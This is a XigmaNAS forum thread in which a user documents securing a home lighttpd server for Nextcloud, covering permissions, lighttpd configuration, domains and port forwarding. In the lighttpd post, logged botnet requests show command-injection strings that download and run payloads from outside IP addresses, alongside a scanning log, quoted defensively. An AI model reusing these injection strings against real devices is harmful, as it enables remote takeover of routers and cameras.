*New 11.3 series Release:
2019-10-05: XigmaNAS 11.3.0.4.6928 - released, 11.2 series are soon unsupported!

*New 12.0 series Release:
2019-10-05: XigmaNAS 12.0.0.4.6928 - released!

*New 11.2 series Release:
2019-09-23: XigmaNAS 11.2.0.4.6881 - released!

We really need "Your" help on XigmaNAS https://translations.launchpad.net/xigmanas translations. Please help today!

Producing and hosting XigmaNAS costs money. Please consider donating for our project so that we can continue to offer you the best.
We need your support! eg: PAYPAL

[DISCUSSION] Web server settings and security checklist

Webserver service.
Forum rules
Set-Up GuideFAQsForum Rules
Post Reply
User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

[DISCUSSION] Web server settings and security checklist

#1

Post by Snufkin » 06 Nov 2018 13:39

I'm going to make my home instance of XigmaNAS server available over the Internet and thus make it a XigmaCloud solution (NextCloud based). Before this happens, I would like to check all settings and security measures, related to the public web server. As I'm doing this for the first time, any help and tips are welcome, feel free to express your opinion and share your experience.

Below are major topics to go through before web server goes public.
  1. Check file and directory permissions (skip to topic).
  2. Set strong passwords (skip to topic).
  3. Modify Lighttpd settings (skip to topic).
  4. Get domain name (skip to topic).
  5. Open ports and set forwarding rules (skip to topic).
  6. Get Let's Encrypt certificate (skip to topic).
Each topic from above list has its own dedicated post below, where discussion could be narrowed down to specific details. [Edit] First part of the topic contains either pure theory or the experience of others. The second part presents the results based on my own experience.

If anyone wants to answer, please indicate the topic number or quote its name. Then it will be easier to edit the original posts and include valuable information in it.
Last edited by Snufkin on 05 Dec 2018 14:44, edited 2 times in total.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

1. File and directory permissions

#2

Post by Snufkin » 06 Nov 2018 13:40

This topic addresses questions related to the web server root directory, site directory and subdirectories sets of permissions.

Part ONE

In fact, I don't have a clear picture of what users/groups should own directories and subdirectories, and what users/groups should have read and/or write permissions.

What I have now
  • Webserver Document Root (wiki Services > Webserver)

    Code: Select all

    drwxr-xr-x  root wheel   webserver
    
  • Dirs and files in webserver

    Code: Select all

    drwxr-xr-x  www  wheel   nextcloud
    -rw-------  www  www     .websrv_htpasswd
    -rw-r--r--  root wheel   nextowncloud-phpinfo.php
    
  • Dirs and files in webserver/nextcloud

    Code: Select all

    -rw-r--r--  www  wheel   .htaccess
    -rw-r--r--  www  wheel   .user.ini
    drwxr-xr-x  www  wheel   3rdparty
    drwxr-xr-x  www  nobody  apps
    -rw-r--r--  www  wheel   AUTHORS
    drwxr-xr-x  www  nobody  config
    -rw-r--r--  www  wheel   console.php
    -rw-r--r--  www  wheel   COPYING
    drwxr-xr-x  www  wheel   core
    -rw-r--r--  www  wheel   cron.php
    -rw-r--r--  www  wheel   index.html
    -rw-r--r--  www  wheel   index.php
    drwxr-xr-x  www  wheel   lib
    -rw-r--r--  www  wheel   occ
    drwxr-xr-x  www  wheel   ocm-provider
    drwxr-xr-x  www  wheel   ocs
    drwxr-xr-x  www  wheel   ocs-provider
    -rw-r--r--  www  wheel   public.php
    -rw-r--r--  www  wheel   remote.php
    drwxr-xr-x  www  wheel   resources
    -rw-r--r--  www  wheel   robots.txt
    drwxr-xr-x  www  wheel   settings
    -rw-r--r--  www  wheel   status.php
    drwxr-xr-x  www  nobody  themes
    drwxr-xr-x  www  nobody  updater
    -rw-r--r--  www  wheel   version.php
    
Open questions:
  • Are the above settings correct and safe?
  • Why do some directories belong to the nobody group and others to the wheel group? Nextcloud installation feature?
  • Why does nextowncloud-phpinfo.php read open for everybody by default?
  • Should something be changed among the above?
Part TWO

I've not been able to find a clear and definitive guide for beginners how to configure permissions for the web server root directory and subdirectories. Therefore, it seemed to me right to be guided by general considerations in this matter.
  • Webserver Document Root
    Everybody can read and traverse this directory, only root has full access.

    Code: Select all

    drwxr-xr-x  root wheel   webserver
    
  • Dirs and files in webserver
    All three directories owned by dedicated users with full access, group and other users can read and traverse respective dirs. It should be noted, that directory owners can not delete their directories, because root directory permissions do not allow them to do this.

    Code: Select all

    drwxr-xr-x  acme wheel   dummy
    drwxr-xr-x  root wheel   landpage
    drwxr-xr-x  www  wheel   nextcloud
    -rw-------  www  www     .websrv_htpasswd
    -rw-------  root wheel   nextowncloud-phpinfo.php
    
    I was uncertain about .php file and decided to set maximum restrictions, that's why nobody but root can access it. Be carefull, this setting prevents .php script from running even in XigmaNAS Administrator WebUI (see [EXTENSION] NextOwnCloud, PHPInfo link). I would prefer this file to be in a different location after installing NextOwnCloud extension.
A few words about the purpose of above three directories.
I'd like to serve external requests to my domains by dynamically assigning web server root:
  • dummy - for non-existent subdomains, e.g. shop.example.tld, mail.example.tld and etc.,
  • landpage - for top level example.tld domain,
  • nextcloud - for cloud.example.tld subdomain.
More about changing web root and name-based hosting in topic 3. Lighttpd settings, Part TWO.
back to thread content
Last edited by Snufkin on 08 Dec 2018 22:49, edited 3 times in total.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

2. Strong passwords

#3

Post by Snufkin » 06 Nov 2018 13:42

This topic addresses questions related to setting up secure user passwords.
I have no plans to provide access to the XigmaNAS own web interface (neither for users nor for the administrator), just Nextcloud. So I'm going to follow dedicated Nextcloud
User password policy
page.

Open questions
  • Am I missing something at this point?

back to thread content
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

3. Lighttpd settings

#4

Post by Snufkin » 06 Nov 2018 13:45

This topic addresses questions related to lighttpd web server configuration and security.

Part ONE

Nextcloud development team does not support lighttpd web-server (nor does the FreeBSD operating system). Therefore, I cannot directly copy Apache recommendations from Nextcloud Hardening and security guidance.

Code: Select all

X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Frame-Options: SAMEORIGIN
Referrer-Policy: no-referrer
There are following lines in my Additional parameters field (wiki link)

Code: Select all

$HTTP["scheme"] == "https" {
    setenv.add-response-header = (
	"Strict-Transport-Security"=>"max-age=63072000;includeSubdomains;"
    )
}
url.redirect = (
    "^/.well-known/caldav"  => "/nextcloud/remote.php/dav",
    "^/.well-known/carddav" => "/nextcloud/remote.php/dav"
)
There is good reference Auxiliary parameters topic in this forum.
However, the information in it is a bit contradictory and outdated, e.g Strict-Transport-Security header is already implemented by default.

Open questions
  • How could I follow Nextcloud Hardening and security guidance?
  • Do I have to wrap all new lines in $HTTP["scheme"]=="https"{setenv.add-response-header=...;")}?
  • How to correctly configure http->https forwarding using 301 code?
  • How to manage example.tld/nextcloud redirection to cloud.example.tld subdomain?
  • Are there any ways to implement Pretty URLs feature?
Part TWO

It took me a lot of time to understand the basics of the lighttpd and get answers to Part ONE open questions.

The following online resources helped me the most. To give a complete picture, I divided the further explanation into two sections, Web server defaults and Web server user-defined options. This approach helps to differentiate the area where XNAS user can make changes, from the area where changes can not be made easily.

Web server defaults

My example settings for XNAS WebUI page are as follows (wiki Services | Webserver):
  • Protocol: HTTPS,
  • Port: 443,
  • Document root: /persistent/path/webserver,
  • Authentication: disabled,
  • Directory listing: disabled.
Given the above settings, default lighttpd configuration file /var/etc/websrv.conf will look like this.

Code: Select all

server.document-root = "/persistent/path/webserver"
server.errorlog-use-syslog = "enable"
server.event-handler = "libev"
server.groupname = "www"
server.max-write-idle = 360
server.max-request-size = 16777216
server.modules = (
    "mod_access",
    "mod_auth",
    "mod_expire",
    "mod_cgi",
    "mod_fastcgi",
    "mod_openssl",
    "mod_setenv",
    "mod_rewrite",
    "mod_redirect",
    "mod_alias"
)

server.pid-file = "/var/run/websrv.pid"
server.port = 443
server.tag = "webserv"
server.upload-dirs = ( "/persistent/path/tmp" )
server.username = "www"

index-file.names   = (
    "index.php",
    "index.html",
    "index.htm",
    "index.shtml",
    "default.htm"
)

mimetype.assign = (
    ".pdf"     => "application/pdf",
    ".sig"     => "application/pgp-signature",
    ".spl"     => "application/futuresplash",
    ".class"   => "application/octet-stream",
    ".ps"      => "application/postscript",
    ".torrent" => "application/x-bittorrent",
    ".dvi"     => "application/x-dvi",
    ".gz"      => "application/x-gzip",
    ".pac"     => "application/x-ns-proxy-autoconfig",
    ".swf"     => "application/x-shockwave-flash",
    ".tar.gz"  => "application/x-tgz",
    ".tgz"     => "application/x-tgz",
    ".tar"     => "application/x-tar",
    ".zip"     => "application/zip",
    ".mp3"     => "audio/mpeg",
    ".m3u"     => "audio/x-mpegurl",
    ".wma"     => "audio/x-ms-wma",
    ".wax"     => "audio/x-ms-wax",
    ".ogg"     => "application/ogg",
    ".wav"     => "audio/x-wav",
    ".gif"     => "image/gif",
    ".jar"     => "application/x-java-archive",
    ".jpg"     => "image/jpeg",
    ".jpeg"    => "image/jpeg",
    ".png"     => "image/png",
    ".svg"     => "image/svg+xml",
    ".xbm"     => "image/x-xbitmap",
    ".xpm"     => "image/x-xpixmap",
    ".xwd"     => "image/x-xwindowdump",
    ".css"     => "text/css",
    ".html"    => "text/html",
    ".htm"     => "text/html",
    ".js"      => "text/javascript",
    ".asc"     => "text/plain",
    ".c"       => "text/plain",
    ".cpp"     => "text/plain",
    ".log"     => "text/plain",
    ".conf"    => "text/plain",
    ".text"    => "text/plain",
    ".txt"     => "text/plain",
    ".spec"    => "text/plain",
    ".dtd"     => "text/xml",
    ".xml"     => "text/xml",
    ".mp4"     => "video/mp4",
    ".mpg4"    => "video/mp4",
    ".mpeg"    => "video/mpeg",
    ".mpg"     => "video/mpeg",
    ".mov"     => "video/quicktime",
    ".qt"      => "video/quicktime",
    ".avi"     => "video/x-msvideo",
    ".asf"     => "video/x-ms-asf",
    ".asx"     => "video/x-ms-asf",
    ".wmv"     => "video/x-ms-wmv",
    ".bz2"     => "application/x-bzip",
    ".tbz"     => "application/x-bzip-compressed-tar",
    ".tar.bz2" => "application/x-bzip-compressed-tar",
    ".rpm"     => "application/x-rpm",
    # make the default mime type application/octet-stream.
    ""         => "application/octet-stream",
)

setenv.add-environment = (
    "PATH" => "/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"
)

static-file.exclude-extensions = (
    ".php",
    ".pl",
    ".fcgi"
)

fastcgi.server = (
    ".php" => ((
        "socket" => "/var/tmp/php-wsrv.socket",
        "bin-path" => "/usr/local/bin/php-cgi",
        "bin-environment" => (
            "PHP_FCGI_CHILDREN" => "5",
            "PHP_FCGI_MAX_REQUESTS" => "1000"
        ),
        "bin-copy-environment" => (
            "PATH", "SHELL", "USER"
        ),
        "broken-scriptfilename" => "enable",
        "min-procs" => 1,
        "max-procs" => 2,
        "max-load-per-proc" => 90,
        "idle-timeout" => 360,
        "x-sendfile" => "enable"
    ))
)

url.access-deny = ( 
    "~",
    ".inc",
    ".websrv_htpasswd"
)

debug.log-request-handling = "disable"

##### Here goes "Additional parameters" field #####

ssl.engine = "enable"
ssl.pemfile = "/var/etc/websrvcert.pem"
ssl.use-sslv3 = "disable"
Web server user-defined options

There is a place at the end of the configuration file where user parameters are inserted (see above). It's important to keep this in mind as some lighttpd options may need to be defined in a specific order.

Below are lighttpd settings, which I entered in Additional parameters field in XNAS WebUI. I tried to accompany most of them with detailed comments and reference links.

Debugging, ref link

Before starting advanced web server configuration it's good idea to activate certain debugging level.
By default debug output is written to regular XNAS system.log file.

Below are variables I needed firstly to understand lighttpd peculiar features.

Code: Select all

debug.log-request-handling = "disable"
debug.log-request-header = "enable"
debug.log-request-header-on-error = "enable"
debug.log-response-header = "enable"
debug.log-condition-handling = "enable"
debug.log-timeouts = "enable"
First variable debug.log-request-handling is hardcoded "disable" in /etc/rc.d/websrv shell script and therefore written in Web server defaults (see above). It's possible to directly edit this script, change variable value and restart web server. When this var's enabled lighttpd outputs HTTP request parsing details, i.e. URI-scheme, URI-authority, URI-path, etc.

All other debug.* variables could be simply added in Additional parameters field. The debug output corresponds to their names.

Now I'm running web server with only two variables enabled, just to catch random errors and refine lighttpd settings.

Code: Select all

debug.log-request-header-on-error = "enable"
debug.log-timeouts = "enable"
Access log, ref link

Option to log all requests to the Web server is not active by default, because this feature produces extra loads on server. But when the server is just started and not yet fully configured, the information in the log can be very useful.

To activate Web server access log we need just two lines:

Code: Select all

server.modules += ( "mod_accesslog" )
accesslog.filename = "/persistent/path/webserv.log"
Do not forget to set correct log file permissions, default www user must have write access.

Virtual hosting, ref link

This part of lighttpd configuration file is the most interesting in terms of initial Web server configuration and its further maintenance. To get general idea about Virtual hosting I'd recommend good Wikipedia article.

XigmaNAS web server itself is already built using Port-based virtual hosting. Each XNAS Virtual Host (VHost) has its own separate WebUI for related tasks and is available at the same IP address but with different default port numbers, e.g. Administration <IP>:80, Transmission <IP>:9091, Webserver <IP>:8080, etc. This is suitable within a local network, but is not useful when you want to specify access to a resource by domain name.

Unlike Port-based virtual hosting there is another way to serve several VHosts at the same IP address and even port. It's called Name-based virtual hosting or, in lighttpd terms, conditional-based hosting. This option is a very flexible tool to
  • represent each VHost under its own domain name,
  • reassign web server document root,
  • isolate VHost's WebUI from each other.
To implement above approach I have to split original Port-based "Webserver" VHost further into Name-based user-VHosts. There are several modules in lighttpd to support Name (conditional) hosting:
  • Simple Virtual-Hosting, ref link,
  • Enhanced Virtual-Hosting, ref link,
  • Virtual Host database, ref link,
  • MySQL-based vhosting, ref link
These modules seemed to me a great solution for mass hosting, but too complicated to configure my three user-VHosts - Landpage, Nextcloud and Dummy (see topic 1. File and directory permissions, Part TWO).

Below is the configuration for
  • three user-VHosts,
  • mapped to two subdomains, cloud. and www.,
  • of two domains example-1 and example-2,
  • in two top level domain zones tld-1 and tld-2.
More about domains see in topic 4. Domain name, Part TWO.

Code: Select all

## Map cloud. subdomains to Nextcloud user-VHost
$HTTP["host"] =~ "^(cloud\.example-1\.tld-1|cloud\.example2\.tld2)$" {
    server.document-root = "/persistent/path/webserver/nextcloud/"
    url.redirect-code = 307
    url.redirect = (
        "^/\.well-known/caldav"  => "/remote.php/dav",
        "^/\.well-known/carddav" => "/remote.php/dav"
    )
    $HTTP["scheme"] == "http" {
        url.redirect-code = 308
        url.redirect = (
            "" => "https://${url.authority}${url.path}${url.query}${url.qsa}"
        )
    }

## Map domains to Landpage user-VHost
} else $HTTP["host"] =~ "^((|www\.)example-1\.tld-1|(|www\.)example-2\.tld-2)$" {
    server.document-root = "/persistent/path/webserver/landpage/"
    $HTTP["host"] =~ "^www\.(.*)$" {
        url.redirect-code = 308
        url.redirect = (
            "" => "${url.scheme}://%{1}${url.path}${url.query}${url.qsa}"
        )
    }

## Map all others to Dummy user-VHost
} else $HTTP["host"] =~ "" {
    server.document-root = "/persistent/path/webserver/dummy/"
}
Above three cases were made using so called Whitelisting practice, when everything is forbidden except what is explicitly allowed. This approach can lead to interesting and sometimes unexpected results (for a novice like me). For example, in my specific configuration, access to user-VHosts by IP address is not possible, only domain name should be used in browser address bar.

In addition to the root folder assigning, redirects are performed for the first two cases. All redirects are accompanied by a redirect code. See the links below for details.
  • lighttpd redirect module, ref link
  • Redirect codes 301, 302, 307 and 308, ref Wikipedia article, Chart,
  • Redirect HTTP -> HTTPS, ref link,
  • Selective HTTP -> HTTPS redirect, ref link,
  • URI parts substitution, ref link.
Nextcloud specific CalDAV/CardDAV redirection depends on what current root lighttpd is actually running. If .../webserver/nextcloud is the root directory itself (like in my setup), then /nextcloud part should be omitted in redirect rules. More detailes could be found in Nextcloud Service discovery article.

Aliases, ref link

This lighttpd module is very powerful tool and should be used with great care. One could easily mess up all settings if incorrect regular expression URL prefix is specified to trigger temporary root directory. [Edit] Later I found out phrase regular expression was wrong. Lesson was learned, when ACME client cron job failed to renew certificate in time, because my alias rule, with regex special chars in it, did nothing.

Below is a quote from reply made by gstrauss in lighttpd support forum.
strauss wrote:alias.url matches the URL prefix. It does not take regex arguments.
gstrauss is a developer of lighttpd web server (see member list on project page).

In my case, an alias is required to serve Let's Encrypt ACME protocol requests, for all my domains and subdomains, in one place. It's not good idea to give local ACME client write permissions in Nextcloud or Landpage user-VHost directories. At the same time, the directory where ACME client has write access must be read-only for default lighttpd www user.

It seems to me the best candidate to serve both Whitelisting and ACME challenge tasks is Dummy user-VHost directory.

Code: Select all

alias.url += (
    "/.well-known/acme-challenge/" => "/persistent/path/webserver/dummy/.well-known/acme-challenge/"
)
Once again, note that left side of the alias rule does not contain any special characters for regular expressions.

More about Let's Encrypt and ACME protocol see subtopic 6.2 Issue Let's Encrypt certificate, Part TWO.

HTTP response header, link

Lighttpd environment module is the right place to set or add specific data in HTTP response headers.
Mozilla Developer Network (MDN) Web Docs give good general description on this subject, ref link.

To follow Nextcloud recommended HTTP Strict Transport Security and Security related headers below lines should be added to configuration.

Code: Select all

setenv.set-response-header = (
    "Referrer-Policy"        => "no-referrer",
    "X-Content-Type-Options" => "nosniff",
    "X-Frame-Options"        => "sameorigin",
    "X-Robots-Tag"           => "none",
    "X-XSS-Protection"       => "1; mode=block"
)

$HTTP["sheme"] == "https" {
    setenv.add-response-header = (
        "Strict-Transport-Security" => "max-age=63072000;includeSubdomains;"
    )
}
Note that setenv.set- sets response header and setenv.add- adds it. If one use setenv.add- in both cases then first five environment variables are doubled. This happens because headers are hard-coded into the Nextcloud server, see Nextcloud Admin Guide above.

Response header "Strict-Transport-Security" (prevent MITM attack) is added for encrypted traffic only, because it makes sense only for it, see MDN link.

HTTP request size, ref link

Debug mode during the initial server setup allowed me to detect following error in XNAS System log.

Code: Select all

(connections.c.906) oversized request-header -> sending Status 431
To get rid of the error, it was enough to double the size of the request field (default is 8192 bytes).

Code: Select all

server.max-request-field-size = 16384
HTTP error handling, ref link

This optional setting has been added just to test and familiarize myself with lighttpd error handling.
Two files 403.html and 404.html were simply created in directory below

Code: Select all

server.errorfile-prefix = "/persistent/path/webserver/landpage/"
This setup provides user-friendly error pages for Landpage user-VHost only. Nextcloud has its own error handling, and there are no pages for Dummy.

Traffic shaping, ref link

This is also an optional setting to preserve some of my Internet connection bandwidth. Total throughput is limited at 80 Mbit/s.

Code: Select all

server.kbytes-per-second = 10240
Listening ports, ref link

This is the second most interesting and important subject after Virtual hosting.
What I'd like to have
  • Landpage user-VHost to be available over HTTP and HTTPS simultaneously,
  • secure HTTPS connection to Nextcloud Web and DAV interfaces,
  • insecure HTTP connection to exchange data with Let’s Encrypt Certificate Authority,
  • insecure HTTP just for testing purposes,
  • IPv4/IPv6 dual stack.
Most of the time I use Nextcloud outside my home LAN, that's why XigmaNAS default Web server mode was set to HTTPS, port 443 (see Web server defaults chapter in this topic).

To have HTTP running side-by-side with HTTPS all I have to do is just insert a single line with default port number 80.

Code: Select all

$SERVER["socket"] == ":80" { }
Note that bind address "0.0.0.0" is omitted, because it's default lighttpd setting.

Both port numbers are set to default 80/443 for insecure and secure connections respectively. It was made intentionally, but took me some time to not get confused with defaults inside my home LAN (see topic 5. Ports forwarding, Part TWO).

To have dual stack and open IPv6 pair of ports one need to add following lines (ref link).

Code: Select all

$SERVER["socket"] == "[::]:80" { }
$SERVER["socket"] == "[::]" { ssl.engine = "enable" }
Note that here IPv6 bind address [::] specified explicitly to assign v6 protocol and port number. Port for secure IPv6 connection is omitted because it inherited from global lighttpd definition by using ssl.engine = "enable" directive.

It is possible to configure XigmaNAS Web server in reverse, e.g. assign HTTP mode in WebUI and additional HTTPS port in Additional parameters. It would give me a chance to test lighttpd SNI option (ref Server Name Indication). This option solves well-known problem to select correct certificate for the appropriate domain name (ref SSL on multiple domains).

Unfortunately, in this case I'd lose .pem file automated creation, which available in XigmaNAS web server for HTTPS mode only. Anyway it's not a rocket science to reuse several lines of code from /etc/rc.d/websrv shell script to create .pem file and test SNI option in the future. More about SNI and domains see in topic 4. Domain name, Part TWO.

Сhained certificates, ref link

Here we are talking about certificates issued by Let's Encrypt (LE) certificate authority (CA). LE itself is still not trusted as root CA, so its certficates have to be validated by the root authority through the chain of trust. Digital Signature Trust (DST) company is root CA and issued a certificate for LE. For its part, LE distributes this certificate to its users, and it can be obtained at the time of domain certificate issuance.

Therefore, to trust LE certificate for my domains, DST certificate for LE should be specified somewhere.

Code: Select all

ssl.ca-file = "/persistent/path/acme/example.tld/ca.cer"
However, this chained certificates subject could be completely skipped if fullchain certificate has been deployed.

More about LE key and certificate files see subtopic 6.3 Deploy issued certificate, Part TWO.

Pretty URLs, ref link

This question turned out too tough for me now. To answer it I have to dive too deep into regex and rewrite subjects. However, there are already some preliminary thoughts about it.

I've found relevant lighttpd wiki article. In addition, there is a detailed description of rewrite rules for Nextcloud on ngnix web server. Below is code example taken from Nextcloud forum thread.

Code: Select all

location / {
    # Specific rewrites for WebDAV/CalDAV/CardDAV and documentation
    rewrite ^/caldav(.*)$ /remote.php/caldav$1 redirect;
    rewrite ^/carddav(.*)$ /remote.php/carddav$1 redirect;
    rewrite ^/webdav(.*)$ /remote.php/webdav$1 redirect;
    # The following 2 rules are only needed with webfinger
    rewrite ^/.well-known/host-meta /public.php?service=host-meta last;
    rewrite ^/.well-known/host-meta.json /public.php?service=host-meta-json last;
    rewrite ^/.well-known/carddav /remote.php/carddav/ redirect;
    rewrite ^/.well-known/caldav /remote.php/caldav/ redirect;
    rewrite ^(/core/doc/[^\/]+/)$ $1/index.html;

    # Exclude static assets, specific PHP files, and Let's Encrypt verifications,
    # then rewrite everything else to the ownCloud front controller
    if ($uri !~* (?:\.(?:css|js|svg|gif|png|html|ttf|woff)$|^\/(?:remote|public|cron|status|ocs\/v1|ocs\/v2)\.php|^\/\.well-known\/acme-challenge\/.*$)){
        rewrite ^ /index.php last;
    }
}
Hope someday the answer will be found.

Web server real life

While reading this chapter, just relax and have fun, it's a really exciting examples of how important to properly configure a web server.

Botnet knocking (System log)

Code: Select all

lighttpd[3273]:	(request.c.1064) request-header:\nGET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20http://104.244.76.210/avtech%20-O%20darkxo;%20chmod%20777%20darkxo;%20sh%20darkxo)&password=admin HTTP/1.1\r\nUser-Agent: Sefa\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\n\r\n

lighttpd[3273]:	(request.c.1064) request-header:\nGET /login.cgi?cli=aa%20aa%27;wget%20http://185.17.27.115/dlink%20-O%20/tmp/.hentai;chmod%20777%20/tmp/.hentai;sh%20/tmp/.hentai%27$ HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hentai/2.0\r\n\r\n
Scanning for vulnerabilities, 2 requests per second (Access log)

Code: Select all

177.200.220.125 - [01:05:49] "GET /webdav/ HTTP/1.1" 404 1887 "-" "Mozilla/5.0"
177.200.220.125 - [01:05:49] "GET /help.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
177.200.220.125 - [01:05:50] "GET /java.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
177.200.220.125 - [01:05:50] "GET /_query.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
177.200.220.125 - [01:05:51] "GET /test.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
177.200.220.125 - [01:05:52] "GET /db_cts.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
177.200.220.125 - [01:05:52] "GET /db_pma.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
...
177.200.220.125 - [01:08:54] "GET /phpma/index.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
177.200.220.125 - [01:08:54] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
177.200.220.125 - [01:08:55] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
177.200.220.125 - [01:08:56] "GET /phpMyAbmin/index.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
177.200.220.125 - [01:08:56] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
177.200.220.125 - [01:08:57] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 1887 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"

back to thread content
Last edited by Snufkin on 26 Jan 2019 13:59, edited 8 times in total.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

4. Domain name

#5

Post by Snufkin » 06 Nov 2018 13:46

This topic addresses questions related to domain name registration with a local registrar.

Part ONE

The local registrar provides detailed setup instructions to perform basic registration steps.
I'm going to follow them and create just:
  • two NS-records for registrar default name servers,
  • two A-records, @.example.tld for domain itself and *.example.tld for all subdomains.
Open questions
  • Are there any expert advices or security guidelines I should take into consideration?
Part TWO

I started testing my XigmaCloud solution having some ideas inspired by various online articles about domain and subdomain hijacking. I'm not a paranoid (just a little), and it's quite obvious no one in the world is actually hunting for my domains. On the Internet, there are millions of domains like mine, and they're probably more interesting to the "bad" guys. But I definitely wouldn't want my domains to be involved in some botnet and become a source of malicious traffic.

So I decided it was enough to get domain state VERIFIED with the registrar and set a wildcard A-record for all existing and non-existing subdomains. Everything would be fine if I could also get a wildcard Let's Encrypt certificate, but it's not the case. Local registrar provides DNS API, but it's not implemented in ACME client (see 6.2 Issue Let's Encrypt certificate subtopic).

With subdomain wildcard, a request to a non-existent subdomain will receive correct DNS resolution, but will result in an error when the server starts negotiating a secure connection. It's well-known problem of SSL in combination with name based virtual hosting, when SSL connection starts before the HTTP request (see lighttpd wiki page).

Code: Select all

(mod_openssl.c.1529) SSL: 1 error:140760FC:SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol"
It seems the obvious solution to configure Server Name Indication (see Wikipedia SNI article). During SSL negotiation, client sends host name it wants to connect, and server selects a certificate based on the name. Apparently this method will not work, because it does not allow a host name with no certificate at all. Default certificate must be specified as described in lighttpd wiki article. Moreover this method requires "reverse" web server configuration and extra scripting to create .pem file (see 3. Lighttpd settings topic, Part TWO, Listening ports).

Like it or not, but it turns out that domains and subdomains in zone description should match the certificate(s), otherwise it's a way to seek for trouble. In my final configuration two domain zones contain following records, a total of six names.
  • Zone: example-1.tld-1 | example-2.tld-2
  • A-record: single IPv4 for both
  • AAAA-record: single IPv6 for both
  • CNAME: cloud.example-1.tld-1 | cloud.example-2.tld-2
  • CNAME: www.example-1.tld-1 | www.example-2.tld-2
Above list of names fully corresponds to the lighttpd name-based virtual hosting and single Let's Encrypt certificate.
back to thread content
Last edited by Snufkin on 04 Jan 2019 21:59, edited 1 time in total.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

5. Ports forwarding

#6

Post by Snufkin » 06 Nov 2018 13:47

This topic addresses questions related to the border router open ports and forwarding packets to the XigmaNAS server in the local network.

Part ONE

At first both webadmin interfaces, boder router and XigmaNAS, have to be reassigned from default 80/443 to free ports, something like 23080/23443.
Then, default ports HTTP(80)/HTTPS(443) can be safely forwarded to serve Nextcloud connections.

Open questions
  • Are there any pitfalls waiting for me here?
Part TWO

Port numbers

Initial XigmaCloud web server tests started when the domain name was not yet registered. And it seemed to me good to use non-standard ports for both insecure (HTTP) and secure (HTTPS) incoming connections. Later, when the domains were in my hands, I thought it over again, taking into account following considerations.
  1. Numbers are hard to remember, and telling a friend the server address ending with a bunch of numbers is quite uncomfortable. If you have human-readable domain names, the use of numbers seems odd, doesn't it?
  2. In terms of lighttpd server configuration, using non-standard ports complicates its config file. All regular expressions $HTTP["host"], where host name is parsed, have to be supplemented with extra conditions (see lighttpd Troubleshooting note). And I would avoid directly specifying the port number because it is very easy to make a mistake or forget to change it later if a server reconfiguration occurs.
